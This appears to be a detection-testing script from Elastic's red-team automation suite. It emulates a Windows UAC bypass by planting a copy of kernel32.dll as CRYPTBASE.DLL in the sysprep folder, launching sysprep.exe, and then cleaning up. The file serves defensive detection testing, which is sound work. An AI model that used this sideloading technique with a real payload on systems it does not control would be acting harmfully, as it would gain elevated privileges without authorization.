39 lines
1.0 KiB
Python
39 lines
1.0 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: Bypass UAC via Sysprep
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# RTA: uac_sysprep.py
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# ATT&CK: T1088
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# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass
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from . import common
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from . import RtaMetadata
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metadata = RtaMetadata(
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uuid="72e0a6ca-5b2d-48f6-9d6f-a879ace9cdae",
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platforms=["windows"],
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endpoint=[],
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siem=[],
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techniques=[]
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)
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@common.requires_os(*metadata.platforms)
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def main():
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common.log("Bypass UAC with CRYPTBASE.dll")
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common.copy_file(
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"C:\\windows\\system32\\kernel32.dll",
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"C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL",
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)
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common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True)
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common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
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if __name__ == "__main__":
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exit(main())
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